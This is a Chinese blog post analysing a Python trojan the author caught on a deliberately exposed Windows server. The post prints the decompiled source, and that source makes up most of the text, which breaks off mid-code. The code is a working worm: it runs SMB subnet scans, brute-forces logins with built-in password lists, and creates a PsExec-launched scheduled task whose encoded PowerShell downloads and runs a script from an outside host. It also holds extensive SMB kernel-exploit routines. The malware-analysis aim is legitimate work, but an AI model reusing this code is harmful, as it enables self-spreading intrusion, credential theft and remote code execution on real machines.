2 November 2024 - 字数统计：72444 - 阅读大约需要260分钟 - Hits: Loading...

# 关于Python制作的木马探索

by mayx

这是一篇创建于 天前的文章，其中的信息可能已经有所发展或是发生改变。

AI摘要

这篇文章介绍了一位作者使用Python制作木马的经历。起初，作者出于好奇和旧服务器即将过期，将一台Linux服务器重装为Windows Server 2008，意图让它成为一个容易被攻击的肉鸡。作者在服务器上发现了一个Python编写的木马，通过解包和反编译，得以查看源代码。木马的主要功能包括扫描特定IP范围、尝试连接以及进行一些基础的网络操作。作者分享了这个过程中的技术细节和发现。

- 起因
- 提取源代码
- 行为分析
- 感想

想不到木马病毒居然也可以用Python写😆

#
起因

在一年前阿里云搞了个高校学生免费领300CNY券的活动，那时候我领了一张并且零元购了一个香港的2c1g轻量服务器，在这一年里它为我做了许多，不仅当延迟极低的梯子，另外还运行着H@H给我赚Hath。一年过后的现在它马上就要过期了，当时我让我的同学也领了一张，正好等到我服务器快过期的时候买，于是我创好服务器并且把我的东西都迁过去，之后旧的服务器就没什么用了。

那在它剩下的最后几天让它干些什么好呢？首先Linux系统感觉没啥意思，装个Windows玩玩吧。不过香港阿里云在装了Linux系统之后是不允许切换成Windows的，而且如果买的时候装Windows还需要额外付费，所以我用了一个一键DD/重装脚本把我的系统重装成Windows Server 2008。不过其实就算刷成Windows也不能改变它没啥用的事实，所以我给它设置了超简单的密码，并且没有装任何补丁，防火墙全关掉，让它在网络上成为能被随意攻破的肉鸡吧。

在这之后没几天我登上去看了一眼，其实看不出来啥，毕竟就算被入侵了绝大多数情况都是被人当备用的，一般人也不会闲着把上面的文件全删掉，把系统搞崩。所以我安了个360，看看有没有中木马，结果还真中了，在Temp目录下多了个“svchost.exe”文件（虽然还有其他的木马文件但不是Python的所以不感兴趣），而且看图标居然是pyinstaller打包的！这让我有点感兴趣了，其他语言写的编译之后很难看出来什么，而且我也看不懂其他语言写的东西，但是Python我至少还是能看懂的，所以我就下载了这个样本尝试获得它的源代码。

#
提取源代码

pyinstaller解包还是挺简单的，用PyInstaller Extractor就可以，首先我在我的电脑上尝试解包，不过因为Python版本不对，里面的PYZ文件不能解包，并且提示我使用Python 2.7的环境再试一次。我找了台装有Python 2.7环境的服务器又执行了一次之后就全部解包完了。想不到这个木马居然没有加密😂，直接就能解压，不过就算加密了我之前看过一篇文章可以进行解密。

不过现在得到的文件都是字节码pyc文件，还需要反编译才能看到源代码，这个步骤也很简单，安装个uncompyle6工具就可以。它的主程序名字叫“ii.py”，于是我反编译了一下，不过看起来作者还整了一些混淆，但是极其简单，就把几个函数换成一串变量而已，所以写了个简单的脚本给它还原回去了，最终处理的结果如下（里面有个混淆过的PowerShell版mimikatz，太长了所以我给删掉了）：

Show Code

    # uncompyle6 version 3.9.2
    # Python bytecode version base 2.7 (62211)
    # Decompiled from: Python 2.7.18 (default, Jun 24 2022, 18:01:55)
    # [GCC 8.5.0 20210514 (Red Hat 8.5.0-13)]
    # Embedded file name: ii.py

    import subprocess
    import re
    import binascii
    import socket
    import struct
    import threading
    import os
    import random
    import platform
    from urllib2 import urlopen
    from json import load
    from impacket import smb, smbconnection
    from mysmb import MYSMB
    from struct import pack, unpack, unpack_from
    import sys
    import socket
    import time
    from psexec import PSEXEC
    iplist = ['192.168.0.1/24', '192.168.1.1/24', '192.168.2.1/24', '192.168.3.1/24', '192.168.4.1/24',
     '192.168.5.1/24', '192.168.6.1/24', '192.168.7.1/24', '192.168.8.1/24', '192.168.9.1/24',
     '192.168.10.1/24', '192.168.18.1/24', '192.168.31.1/24', '192.168.199.1/24',
     '192.168.254.1/24', '192.168.67.1/24', '10.0.0.1/24', '10.0.1.1/24', '10.0.2.1/24',
     '10.1.1.1/24', '10.90.90.1/24', '10.1.10.1/24', '10.10.1.1/24']
    userlist = ['', 'Administrator', 'user', 'admin', 'test', 'hp', 'guest']
    userlist2 = ['', 'Administrator', 'admin']
    passlist = ['', '123456', 'password', 'qwerty', '12345678', '123456789', '123', '1234',
     '123123', '12345', '12345678', '123123123', '1234567890', '88888888', '111111111',
     '000000', '111111', '112233', '123321', '654321', '666666', '888888', 'a123456',
     '123456a', '5201314', '1qaz2wsx', '1q2w3e4r', 'qwe123', '123qwe', 'a123456789',
     '123456789a', 'baseball', 'dragon', 'football', 'iloveyou', 'password',
     'sunshine', 'princess', 'welcome', 'abc123', 'monkey', '!@#$%^&*', 'charlie',
     'aa123456', 'Aa123456', 'admin', 'homelesspa', 'password1', '1q2w3e4r5t',
     'qwertyuiop', '1qaz2wsx']
    domainlist = ['']
    nip = []
    ntlist = []

    # remove mkatz cause it is too long(https://github.com/DanMcInerney/Invoke-Cats)
    mkatz = ''

    def find_ip():
        global iplist2
        ipconfig_process = subprocess.Popen('ipconfig /all', stdout=subprocess.PIPE)
        output = ipconfig_process.stdout.read()
        result = re.findall('\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b', output)
        for ipaddr in result:
            if ipaddr != '127.0.0.1' and ipaddr != '255.255.255.0' and ipaddr != '0.0.0.0':
                ipaddr = ipaddr.split('.')[0] + '.' + ipaddr.split('.')[1] + '.' + ipaddr.split('.')[2] + '.1/24'
                iplist.append(ipaddr)

        netstat_process = subprocess.Popen('netstat -na', stdout=subprocess.PIPE)
        output2 = netstat_process.stdout.read()
        result2 = re.findall('\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b', output2)
        for ip in result2:
            if ip != '127.0.0.1' and ip != '0.0.0.0' and ip != '255.255.0.0' and ip != '1.1.1.1':
                ip = ip.split('.')[0] + '.' + ip.split('.')[1] + '.' + ip.split('.')[2] + '.1/24'
                iplist.append(ip)

        try:
            ipp1 = urlopen('http://ip.42.pl/raw', timeout=3).read()
            ipp1 = ipp1.split('.')[0] + '.' + ipp1.split('.')[1] + '.' + ipp1.split('.')[2] + '.1/24'
            ipp2 = load(urlopen('http://jsonip.com', timeout=3))['ip']
            ipp2 = ipp2.split('.')[0] + '.' + ipp2.split('.')[1] + '.' + ipp2.split('.')[2] + '.1/24'
            iplist.append(ipp1)
            iplist.append(ipp2)
        except:
            pass

        iplist2 = list(set(iplist))
        iplist2.sort(key=iplist.index)
        return iplist2

    def xip(numb):
        del nip[:]
        for n in xrange(numb):
            ipp = socket.inet_ntoa(struct.pack('>I', random.randint(1, 4294967295L)))
            ipp = ipp.split('.')[0] + '.' + ipp.split('.')[1] + '.' + ipp.split('.')[2] + '.1/24'
            nip.append(ipp)

        return nip

    def scan(ip, p):
        global timeout
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(float(timeout) if timeout else None)
        try:
            s.connect((ip, p))
            return 1
        except Exception as e:
            return 0

    def scan2(ip, p):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(float(2))
        try:
            s.connect((ip, p))
            return 1
        except Exception as e:
            return 0

    def scan3(ip, p):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(float(1))
        try:
            s.connect((ip, p))
            return 1
        except Exception as e:
            return 0

    def validate(ip, fr):
        global dl
        global domainlist
        global ee2
        global passlist
        global userlist2
        for u in userlist2:
            for p in passlist:
                if u == '' and p != '':
                    continue
                for d in domainlist:
                    if PSEXEC(ee2, dl, 'cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&&c:\\windows\\temp\\svchost.exe', u, p, d, fr).run(ip):
                        print 'SMB Succ!'
                        return

    def validate2(ip, fr):
        global ntlist
        for u in userlist2:
            for d in domainlist:
                for n in ntlist:
                    if PSEXEC(ee2, dl, 'cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&&c:\\windows\\temp\\svchost.exe', u, '', d, fr, '00000000000000000000000000000000:' + n).run(ip):
                        print 'SMB Succ!'
                        return

    def scansmb(ip, p):
        global semaphore1
        if scan(ip, 445) == 1:
            if scan(ip, 65533) == 0:
                print 'exp IP:' + ip
                try:
                    validate(ip, '1')
                except:
                    pass

                try:
                    check_ip(ip, 1)
                except:
                    pass

                try:
                    validate2(ip, '3')
                except:
                    pass

        semaphore1.release()

    def scansmb2(ip, p):
        if scan2(ip, 445) == 1:
            print 'exp IP:' + ip
            try:
                validate(ip, '2')
            except:
                pass

            try:
                check_ip(ip, 2)
            except:
                pass

            try:
                validate2(ip, '2')
            except:
                pass

        semaphore1.release()

    def scansmb3(ip, p):
        global semaphore2
        if scan3(ip, 445) == 1:
            if scan3(ip, 65533) == 0:
                print 'exp IP:' + ip
                try:
                    validate(ip, '2')
                except:
                    pass

                try:
                    check_ip(ip, 2)
                except:
                    pass

                try:
                    validate2(ip, '3')
                except:
                    pass

        semaphore2.release()

    WIN7_64_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 160, 'SESSION_ISNULL_OFFSET': 186, 'FAKE_SECCTX': (pack('<IIQQIIB', 2621994, 1, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 40}
    WIN7_32_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 128, 'SESSION_ISNULL_OFFSET': 150, 'FAKE_SECCTX': (pack('<IIIIIIB', 1835562, 1, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 28}
    WIN8_64_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 176, 'SESSION_ISNULL_OFFSET': 202, 'FAKE_SECCTX': (pack('<IIQQQQIIB', 3670570, 1, 0, 0, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 56}
    WIN8_32_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 136, 'SESSION_ISNULL_OFFSET': 158, 'FAKE_SECCTX': (pack('<IIIIIIIIB', 2359850, 1, 0, 0, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 36}
    WIN2K3_64_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 186, 'SESSION_SECCTX_OFFSET': 160, 'SECCTX_PCTXTHANDLE_OFFSET': 16, 'PCTXTHANDLE_TOKEN_OFFSET': 64, 'TOKEN_USER_GROUP_CNT_OFFSET': 76, 'TOKEN_USER_GROUP_ADDR_OFFSET': 104}
    WIN2K3_32_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 150, 'SESSION_SECCTX_OFFSET': 128, 'SECCTX_PCTXTHANDLE_OFFSET': 12, 'PCTXTHANDLE_TOKEN_OFFSET': 36, 'TOKEN_USER_GROUP_CNT_OFFSET': 76, 'TOKEN_USER_GROUP_ADDR_OFFSET': 104}
    WINXP_32_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 148, 'SESSION_SECCTX_OFFSET': 132, 'PCTXTHANDLE_TOKEN_OFFSET': 36, 'TOKEN_USER_GROUP_CNT_OFFSET': 76, 'TOKEN_USER_GROUP_ADDR_OFFSET': 104, 'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 64, 'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 92}
    WIN2K_32_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 148, 'SESSION_SECCTX_OFFSET': 132, 'PCTXTHANDLE_TOKEN_OFFSET': 36, 'TOKEN_USER_GROUP_CNT_OFFSET': 60, 'TOKEN_USER_GROUP_ADDR_OFFSET': 88}
    WIN7_32_TRANS_INFO = {'TRANS_SIZE': 160, 'TRANS_FLINK_OFFSET': 24, 'TRANS_INPARAM_OFFSET': 64, 'TRANS_OUTPARAM_OFFSET': 68, 'TRANS_INDATA_OFFSET': 72, 'TRANS_OUTDATA_OFFSET': 76, 'TRANS_PARAMCNT_OFFSET': 88, 'TRANS_TOTALPARAMCNT_OFFSET': 92, 'TRANS_FUNCTION_OFFSET': 114, 'TRANS_MID_OFFSET': 128}
    WIN7_64_TRANS_INFO = {'TRANS_SIZE': 248, 'TRANS_FLINK_OFFSET': 40, 'TRANS_INPARAM_OFFSET': 112, 'TRANS_OUTPARAM_OFFSET': 120, 'TRANS_INDATA_OFFSET': 128, 'TRANS_OUTDATA_OFFSET': 136, 'TRANS_PARAMCNT_OFFSET': 152, 'TRANS_TOTALPARAMCNT_OFFSET': 156, 'TRANS_FUNCTION_OFFSET': 178, 'TRANS_MID_OFFSET': 192}
    WIN5_32_TRANS_INFO = {'TRANS_SIZE': 152, 'TRANS_FLINK_OFFSET': 24, 'TRANS_INPARAM_OFFSET': 60, 'TRANS_OUTPARAM_OFFSET': 64, 'TRANS_INDATA_OFFSET': 68, 'TRANS_OUTDATA_OFFSET': 72, 'TRANS_PARAMCNT_OFFSET': 84, 'TRANS_TOTALPARAMCNT_OFFSET': 88, 'TRANS_FUNCTION_OFFSET': 110, 'TRANS_PID_OFFSET': 120, 'TRANS_MID_OFFSET': 124}
    WIN5_64_TRANS_INFO = {'TRANS_SIZE': 224, 'TRANS_FLINK_OFFSET': 40, 'TRANS_INPARAM_OFFSET': 104, 'TRANS_OUTPARAM_OFFSET': 112, 'TRANS_INDATA_OFFSET': 120, 'TRANS_OUTDATA_OFFSET': 128, 'TRANS_PARAMCNT_OFFSET': 144, 'TRANS_TOTALPARAMCNT_OFFSET': 148, 'TRANS_FUNCTION_OFFSET': 170, 'TRANS_PID_OFFSET': 180, 'TRANS_MID_OFFSET': 184}
    X86_INFO = {'ARCH': 'x86', 'PTR_SIZE': 4, 'PTR_FMT': 'I', 'FRAG_TAG_OFFSET': 12, 'POOL_ALIGN': 8, 'SRV_BUFHDR_SIZE': 8}
    X64_INFO = {'ARCH': 'x64', 'PTR_SIZE': 8, 'PTR_FMT': 'Q', 'FRAG_TAG_OFFSET': 20, 'POOL_ALIGN': 16, 'SRV_BUFHDR_SIZE': 16}

    def merge_dicts(*dict_args):
        result = {}
        for dictionary in dict_args:
            result.update(dictionary)

        return result

    OS_ARCH_INFO = {'WIN7': {'x86': (merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO))}, 'WIN8': {'x86': (merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO))}, 'WINXP': {'x86': (merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO))}, 'WIN2K3': {'x86': (merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO))}, 'WIN2K': {'x86': (merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO))}}
    TRANS_NAME_LEN = 4
    HEAP_HDR_SIZE = 8

    def calc_alloc_size(size, align_size):
        return size + align_size - 1 & ~(align_size - 1)

    def wait_for_request_processed(conn):
        conn.send_echo('a')

    def find_named_pipe(conn):
        pipes = ['browser', 'spoolss', 'netlogon', 'lsarpc', 'samr']
        tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
        found_pipe = None
        for pipe in pipes:
            try:
                fid = conn.nt_create_andx(tid, pipe)
                conn.close(tid, fid)
                found_pipe = pipe
                break
            except smb.SessionError as e:
                pass

        conn.disconnect_tree(tid)
        return found_pipe

    special_mid = 0
    extra_last_mid = 0

    def reset_extra_mid(conn):
        global extra_last_mid
        global special_mid
        special_mid = (conn.next_mid() & 65280) - 256
        extra_last_mid = special_mid

    def next_extra_mid():
        global extra_last_mid
        extra_last_mid += 1
        return extra_last_mid

    GROOM_TRANS_SIZE = 20496

    def leak_frag_size(conn, tid, fid):
        info = {}
        mid = conn.next_mid()
        req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A' * 4304, maxParameterCount=GROOM_TRANS_SIZE - 4304 - TRANS_NAME_LEN)
        req2 = conn.create_nt_trans_secondary_packet(mid, data='B' * 276)
        conn.send_raw(req1[:-8])
        conn.send_raw(req1[-8:] + req2)
        leakData = conn.recv_transaction_data(mid, 4580)
        leakData = leakData[4308:]
        if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET'] + 4] == 'Frag':
            print 'Target is 32 bit'
            info['arch'] = 'x86'
            info['FRAG_POOL_SIZE'] = ord(leakData[X86_INFO['FRAG_TAG_OFFSET'] - 2]) * X86_INFO['POOL_ALIGN']
        elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET'] + 4] == 'Frag':
            print 'Target is 64 bit'
            info['arch'] = 'x64'
            info['FRAG_POOL_SIZE'] = ord(leakData[X64_INFO['FRAG_TAG_OFFSET'] - 2]) * X64_INFO['POOL_ALIGN']
        else:
            print 'Not found Frag pool tag in leak data'
        print ('Got frag size: 0x{:x}').format(info['FRAG_POOL_SIZE'])
        return info

    def read_data(conn, info, read_addr, read_size):
        fmt = info['PTR_FMT']
        new_data = pack('<' + fmt * 3, info['trans2_addr'] + info['TRANS_FLINK_OFFSET'], info['trans2_addr'] + 512, read_addr)
        new_data += pack('<II', 0, 0)
        new_data += pack('<III', 8, 8, 8)
        new_data += pack('<III', read_size, read_size, read_size)
        new_data += pack('<HH', 0, 5)
        conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
        conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=17120, totalParameterCount=4096)
        conn.send_nt_trans_secondary(mid=info['trans2_mid'])
        read_data = conn.recv_transaction_data(info['trans2_mid'], 8 + read_size)
        info['trans2_addr'] = unpack_from('<' + fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
        conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<' + fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
        wait_for_request_processed(conn)
        conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
        wait_for_request_processed(conn)
        return read_data[8:]

    def write_data(conn, info, write_addr, write_data):
        conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<' + info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
        wait_for_request_processed(conn)
        conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
        wait_for_request_processed(conn)

    def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
        trans_param = pack('<HH', fid, 0)
        for i in range(numFill):
            conn.send_nt_trans(5, param=trans_param, totalDataCount=4304, maxParameterCount=GROOM_TRANS_SIZE - 4304)

        mid_ntrename = conn.next_mid()
        req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A' * 4304, maxParameterCount=info['GROOM_DATA_SIZE'] - 4304)
        req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B' * 276)
        req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE'] - 4096, maxParameterCount=4096)
        reqs = []
        for i in range(12):
            mid = next_extra_mid()
            reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE'] - 512, totalParameterCount=512, maxDataCount=0, maxParameterCount=0))

        conn.send_raw(req1[:-8])
        conn.send_raw(req1[-8:] + req2 + req3 + ('').join(reqs))
        leakData = conn.recv_transaction_data(mid_ntrename, 4580)
        leakData = leakData[4308:]
        if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET'] + 4] != 'Frag':
            print 'Not found Frag pool tag in leak data'
            return None
        leakData = leakData[info['FRAG_TAG_OFFSET'] - 4 + info['FRAG_POOL_SIZE']:]
        expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
        leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
        if leakData[4:8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN'] + 2] != expected_size or leakData[leakTransOffset + 2:leakTransOffset + 4] != expected_size:
            print 'No transaction struct in leak data'
            return None
        leakTrans = leakData[leakTransOffset:]
        ptrf = info['PTR_FMT']
        _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<' + ptrf * 5, leakTrans, 8)
        inparam_value = unpack_from('<' + ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
        leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
        print ('CONNECTION: 0x{:x}').format(connection_addr)
        print ('SESSION: 0x{:x}').format(session_addr)
        print ('FLINK: 0x{:x}').format(flink_value)
        print ('InParam: 0x{:x}').format(inparam_value)
        print ('MID: 0x{:x}').format(leak_mid)
        next_page_addr = (inparam_value & 18446744073709547520L) + 4096
        if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
            print ('unexpected alignment, diff: 0x{:x}').format(flink_value - next_page_addr)
            return None
        return {'connection': connection_addr, 'session': session_addr, 'next_page_addr': next_page_addr, 'trans1_mid': leak_mid, 'trans1_addr': (inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN), 'trans2_addr': (flink_value - info['TRANS_FLINK_OFFSET'])}

    def exploit_matched_pairs(conn, pipe_name, info):
        tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
        conn.set_default_tid(tid)
        fid = conn.nt_create_andx(tid, pipe_name)
        info.update(leak_frag_size(conn, tid, fid))
        info.update(OS_ARCH_INFO[info['os']][info['arch']])
        info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
        print ('GROOM_POOL_SIZE: 0x{:x}').format(info['GROOM_POOL_SIZE'])
        info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE']
        bridePoolSize = 4096 - (info['GROOM_POOL_SIZE'] & 4095) - info['FRAG_POOL_SIZE']
        info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
        print ('BRIDE_TRANS_SIZE: 0x{:x}').format(info['BRIDE_TRANS_SIZE'])
        info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
        leakInfo = None
        for i in range(10):
            reset_extra_mid(conn)
            leakInfo = align_transaction_and_leak(conn, tid, fid, info)
            if leakInfo is not None:
                break
            print 'leak failed... try again'
            conn.close(tid, fid)
            conn.disconnect_tree(tid)
            tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
            conn.set_default_tid(tid)
            fid = conn.nt_create_andx(tid, pipe_name)

        if leakInfo is None:
            return False
        info['fid'] = fid
        info.update(leakInfo)
        shift_indata_byte = 512
        conn.do_write_andx_raw_pipe(fid, 'A' * shift_indata_byte)
        indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 4096 + shift_indata_byte
        indata_next_trans_displacement = info['trans2_addr'] - indata_value
        conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
        wait_for_request_processed(conn)
        recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
        if recvPkt.getNTStatus() != 65538:
            print ('unexpected return status: 0x{:x}').format(recvPkt.getNTStatus())
            print '!!! Write to wrong place !!!'
            print 'the target might be crashed'
            return False
        print 'success controlling groom transaction'
        print 'modify trans1 struct for arbitrary read/write'
        fmt = info['PTR_FMT']
        conn.send_nt_trans_secondary(mid=fid, data=pack('<' + fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
        wait_for_request_processed(conn)
        conn.send_nt_trans_secondary(mid=special_mid, data=pack('<' + fmt * 3, info['trans1_addr'], info['trans1_addr'] + 512, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
        wait_for_request_processed(conn)
        info['trans2_mid'] = conn.next_mid()
        conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
        return True

    def exploit_fish_barrel(conn, pipe_name, info):
        tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
        conn.set_default_tid(tid)
        fid = conn.nt_create_andx(tid, pipe_name)
        info['fid'] = fid
        if info['os'] == 'WIN7' and 'arch' not in info:
            info.update(leak_frag_size(conn, tid, fid))
        if 'arch' in info:
            info.update(OS_ARCH_INFO[info['os']][info['arch']])
            attempt_list = [OS_ARCH_INFO[info['os']][info['arch']]]
        else:
            attempt_list = [
             OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86']]
        print 'Groom packets'
        trans_param = pack('<HH', info['fid'], 0)
        for i in range(12):
            mid = info['fid'] if i == 8 else next_extra_mid()
            conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=256 - TRANS_NAME_LEN, totalDataCount=3776, maxParameterCount=64, maxDataCount=0)

        shift_indata_byte = 512
        conn.do_write_andx_raw_pipe(info['fid'], 'A' * shift_indata_byte)
        success = False
        for tinfo in attempt_list:
            print 'attempt controlling next transaction on ' + tinfo['ARCH']
            HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE'] + HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
            NEXT_TRANS_OFFSET = 3840 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
            conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET + tinfo['TRANS_MID_OFFSET'])
            wait_for_request_processed(conn)
            recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
            if recvPkt.getNTStatus() == 65538:
                print 'success controlling one transaction'
                success = True
                if 'arch' not in info:
                    print 'Target is ' + tinfo['ARCH']
                    info['arch'] = tinfo['ARCH']
                    info.update(OS_ARCH_INFO[info['os']][info['arch']])
                break
            if recvPkt.getNTStatus() != 0:
                print ('unexpected return status: 0x{:x}').format(recvPkt.getNTStatus())

        if not success:
            print ('unexpected return status: 0x{:x}').format(recvPkt.getNTStatus())
            print '!!! Write to wrong place !!!'
            print 'the target might be crashed'
            return False
        print 'modify parameter count to 0xffffffff to be able to write backward'
        conn.send_trans_secondary(mid=info['fid'], data='\xff\xff\xff\xff', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_TOTALPARAMCNT_OFFSET'])
        if info['arch'] == 'x64':
            conn.send_trans_secondary(mid=info['fid'], data='\xff\xff\xff\xff', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'] + 4)
        wait_for_request_processed(conn)
        TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 4096 + HEAP_CHUNK_PAD_SIZE
        PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
        PREV_TRANS_OFFSET = 4294967296L - PREV_TRANS_DISPLACEMENT
        conn.send_nt_trans_secondary(mid=special_mid, param='\xff\xff\xff\xff', paramDisplacement=PREV_TRANS_OFFSET + info['TRANS_TOTALPARAMCNT_OFFSET'])
        if info['arch'] == 'x64':
            conn.send_nt_trans_secondary(mid=special_mid, param='\xff\xff\xff\xff', paramDisplacement=PREV_TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'] + 4)
            conn.send_trans_secondary(mid=info['fid'], data='\x00\x00\x00\x00', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'] + 4)
        wait_for_request_processed(conn)
        print 'leak next transaction'
        conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_FUNCTION_OFFSET'])
        conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 256, 256), dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_PARAMCNT_OFFSET'])
